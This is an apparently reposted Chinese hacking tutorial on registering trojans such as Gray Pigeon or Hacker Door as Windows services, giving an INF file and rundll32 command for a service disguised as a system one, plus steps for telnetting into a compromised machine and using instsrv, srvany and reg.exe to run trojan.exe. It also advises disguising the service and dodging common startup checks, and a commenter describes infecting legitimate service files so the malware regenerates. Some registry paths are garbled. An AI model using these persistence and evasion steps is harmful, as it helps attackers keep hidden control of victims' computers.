您的位置:首页 > 其它

如何把木马注册为系统服务

2007-09-29 11:34 351 查看
前几天下了个鸽子来研究下注册系统服务的方法(我不用鸽子),发现它是用rundll32导入一个inf来实现的,这个应该是加了注册表锁(禁用reg脚本,禁用regedit)都有效的吧?

例子如下:

增加一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%/inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/path/inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32/drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。

这四项是必须要有的。

2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,/
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%/system32/tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。而使用inf文件就完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。

我就是这样手工把黑洞注册成服务了,呵呵。

安静的补充:

不错...
我是用把黑洞感染进别的服务文件以达到以服务方式启动的....
特点是隐蔽性好!~..还有点自我保护功能呵呵..就算他删了.重新启动又会再生成

由于是感染进去的所以不会影响原文件:)

如何把木马注册为系统服务

一般木马启动的办法不外乎以下几种:
1.启动组
2.autoexe.bat
3.注册表
4.win.ini
5.sysytem.ini
6.winstat.bat
7..inf
8..autorun
那么我们如何把自己的马儿注册为系统服务,从而增强其隐蔽性呢?下面是实现办法:
我们所需的工具已经由微软提供在win2000 resouce kit工具包里,名为instsrv.exe srvany.exe

reg.exe sc.exe当然还需要配置好的马儿,
就叫trojan.exe吧。我们先telnet上肉鸡,将上述工具copy到system32目录下,下面就开始行动啦



命令为instsrv.exe myservice srvany.exe。
这样就已经注册了一项系统服务,名为myservice,下面就要操作注册表,我们要在

heky_local_machinesystemcurrentcontrolsetservices找到我们刚才添加的myservice,

新建一个键,名为parameters,在parameters下新建键名为application,类型为reg_sz,

数据值就是cwinntsystem32trojan.exe.

那么我们如何实现以上操作呢?偶提供两种办法,一现在自己机机上操作,将

heky_local_machinesystemcurrencontrolsetservices-parameters导出为srv.reg一并传到肉鸡



然后运行reg.exe import srv.reg .这样就将KO了。另外一种就是用reg.exe手动添加。

reg.exe的用法如下:
Ftoolsnettoolsreg
REG QUERY
REG ADD
REG delete
REG COPY
REG SAVE
REG RESTORE
REG LOAD
REG UNLOAD
REG COMPARE
REG EXPORT
REG IMPORT

ROOTKEY [ HKLM HKCU HKCR HKU HKCC ]
SubKey The full name of a registry key under the selected ROOTKEY
valueName The value name, under the selected Key, to add
ve add the empty value name no name
Type [ REG_SZ REG_MULTI_SZ REG_DWORD_BIG_ENDIAN
REG_DWORD REG_BINARY REG_DWORD_LITTLE_ENDIAN
REG_NONE REG_EXPAND_SZ ]
If omitted, REG_SZ is assumed
Separator Specify one charactor that you use as the separator in your data
string for REG_MULTI_SZ. If omitted, use 0 as the separator
Data The data to assign to the registry valueName being added
f Force overwriting the existing registry entry without prompt
每次都会返回代码0,1 0表示成功,1表示失败:(。
下是一例子:REG ADD HKLMSoftwareMyCo v Path t REG_EXPAND_SZ d %systemroot%
Adds a value (name Path, type REG_EXPAND_SZ, data %systemroot%)
Notice Put the double quote ( ) inside the expand string
根据这个例子不难看出,我们要添加的服务的命令应该是:REG ADD

HKCCsystemcurrentcontrolsetparameters v myservice t reg_sz d

cwinntsystem32

嘿嘿!好了马儿就变成服务了呀,下面就运行trojan.exe吧

另外你需要用sc.exe来congfig一下,将myservice配置为auto,sc.exe

大家用的多了,偶就不多废话了。

^_^加上马儿的自我保护,你的马会不会变成不死神马呀!

注意尽量不要让木马以开头提到的8种方法启动,以免被查出trojan.exe的路径而被删除掉。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: